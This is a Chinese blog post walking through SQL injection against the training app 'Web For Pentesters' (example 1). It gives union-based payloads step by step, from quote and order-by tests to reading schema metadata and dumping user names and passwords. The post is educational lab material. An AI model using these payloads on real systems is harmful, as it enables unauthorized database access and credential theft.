网络安全知识--PHP代码审计/Web For Pantesters 的 SQL injection
SQL 注入一般流程
判断有无注入
单引号判断: ?name=root' 对应语句 select * from table where name='root'' 不符合语法规范,报错,说明有注入
and,or判断....很多,网上搜
order by 判断字段数 ,order by 5可以 6不行,说明5个字段
得到字段数后union select得到可以输出的字段: union select ,a union b 要求a,b字段数相同。
比如 ' union select 1,2,3,4,5 %23, 输出 1,3,5 说明这三个字段可以输出
' 单引号,%27 (16位ascii)
%23 #,注释
--+ 忽略下一个符号
利用可以输出的字段获取信息
下面用 Web For Pantesters 的 SQL injection 的example 1为例
example 1
1.
?name=root' 出错无输出,说明可以注入
2.
name=root' order by 5 --+ 正常
6--+ 出错,说明5个字段
root' union select 1,2,3,4,5 发现输出为1,2,3,可以用1,2,3列输出信息。 (这里不一定用12345,78945也行,无所谓)
3.查看基本信息
database() 数据库名,information_schema.tables 存储元数据, ...
利用union select 查询基本信息。
root' union select @@verson,@@datadir,database(),4,5
因为union 要求列数相同,故除了 @@verson,@@datadir,database() 外还要有4,5。这样得到version,路径,数据库名
查询表名
数据库名为 exercises,转化为16进制XXX
然后 union select TABLE_NAME,2,3,4,5 from information_schema.tables where TABLE_SCHEMA=XXX %23.... //(数据库名的16进制),注意注释掉后面
得到表名users。查询column name。
union select TABLE_COLUMN,2,3,4,5 from information_schema.columns where TABLE_NAME=XXX %23.... // 表名的16进制
4.
输出三项,得到name,password
' union select id,name,passwd,4,5 from users %23
有时候可以用 group_concat,concat_ws ,括号等输出更多列的信息。(比如在3列中输出5列信息)
网络安全知识--PHP代码审计/Web For Pantesters 的 SQL injection的更多相关文章
- 网络安全知识--PHP代码审计/Web For Pantesters 的 XSS
用到 ** WEB FOR Pentester** 注意区分单引号双引号. 常见代码 审计工具 wamp,dwva,zvuldrill,burpsuite,seay源代码审计系统... 1 xss W ...
- Portswigger web security academy:SQL injection
Portswigger web security academy:SQL injection 目录 Portswigger web security academy:SQL injection SQL ...
- 老李知识普及:web安全性的两大权威组织
老李知识普及:web安全性的两大权威组织 两个重要的WEB应用安全组织-WASC/OWASPWeb Application Security Consortium (WASC)a.WEB应用安全标准的 ...
- [SQL] SQL 基础知识梳理(一)- 数据库与 SQL
SQL 基础知识梳理(一)- 数据库与 SQL [博主]反骨仔 [原文地址]http://www.cnblogs.com/liqingwen/p/5902856.html 目录 What's 数据库 ...
- Web常见安全漏洞-SQL注入
SQL注入攻击(SQL Injection),简称注入攻击,是Web开发中最常见的一种安全漏洞. 可以用它来从数据库获取敏感信息,或者利用数据库的特性执行添加用户,导出文件等一系列恶意操作, 甚至有可 ...
- web攻击之三:SQL注入攻击的种类和防范手段
观察近来的一些安全事件及其后果,安全专家们已经得到一个结论,这些威胁主要是通过SQL注入造成的.虽然前面有许多文章讨论了SQL注入,但今天所讨论的内容也许可帮助你检查自己的服务器,并采取相应防范措施. ...
- Web for pentester_writeup之Commands injection篇
Web for pentester_writeup之Commands injection篇 Commands injection(命令行注入) 代码注入和命令行注入有什么区别呢,代码注入涉及比较广泛, ...
- Web for pentester_writeup之Code injection篇
Web for pentester_writeup之Code injection篇 Code injection(代码注入) Example 1 <1> name=hacker' 添加一个 ...
- Web for pentester_writeup之SQL injections篇
Web for pentester_writeup之SQL injections篇 SQL injections(SQL注入) Example 1 测试参数,添加 and '1'='1, 'and ' ...
随机推荐
- 把Win10变成Mac OS:比任何美化主题都好用的工具
摘要:把Win10变成Mac OS:比任何美化主题都好用的工具 - 这是一款真正意义上的把Windows变成MacOS的软件,不用更换主题,不用修改Dll,直接是程序接管了Explorer,比任何美化 ...
- 关于MongoDB的简单理解(一)--基础篇
一.什么是MongoDB? MongoDB是一个基于分布式文件存储的文档数据库,旨在简化开发和扩展,为WEB应用提供可扩展的高性能数据存储解决方案. MongoDB是一个介于关系数据库和非关系数据库之 ...
- By default, the connection will be closed if the proxied server does not transmit any data within 60 seconds.
WebSocket proxying https://nginx.org/en/docs/http/websocket.html By default, the connection will be ...
- https://twistedmatrix.com/documents/current/core/howto/defer.html
https://twistedmatrix.com/documents/current/core/howto/defer.html
- Java反序列化: 基于CommonsCollections4的Gadget分析 Java 序列化与反序列化安全分析
Java反序列化: 基于CommonsCollections4的Gadget分析 welkin 京东安全 5天前 https://mp.weixin.qq.com/s/OqIWUsJe9XV39SPN ...
- TCMalloc源码学习(二)
替换libc中的malloc free 不同平台替换方式不同. 基于unix的系统上的glibc,使用了weak alias的方式替换.具体来说是因为这些入口函数都被定义成了weak symbols, ...
- SpringMVC听课笔记(十三:使用拦截器)
1.定义一个拦截器: 实现 HandlerInterceptor接口 2. 配置 3.运行流程 4.也可以通过<mvc:mapping>给拦截器设定特定的拦截路径,或者<mvc:ex ...
- Spring听课笔记(专题二)
第3章 Spring Bean的装配(上) 3-1:配置项及作用域 1.Bean的配置项: -- Id -- Class (这个必须,其他的都可以不配置) -- Scope (作用域) -- Cons ...
- Python3 如何查看内置函数都有哪些?
数据科学交流群,群号:189158789,欢迎各位对数据科学感兴趣的小伙伴的加入! 上代码: 1 import builtins 2 num = len(dir(builtins)) 3 print( ...
- spark SQL (四)数据源 Data Source----Parquet 文件的读取与加载
spark SQL Parquet 文件的读取与加载 是由许多其他数据处理系统支持的柱状格式.Spark SQL支持阅读和编写自动保留原始数据模式的Parquet文件.在编写Parquet文件时,出于 ...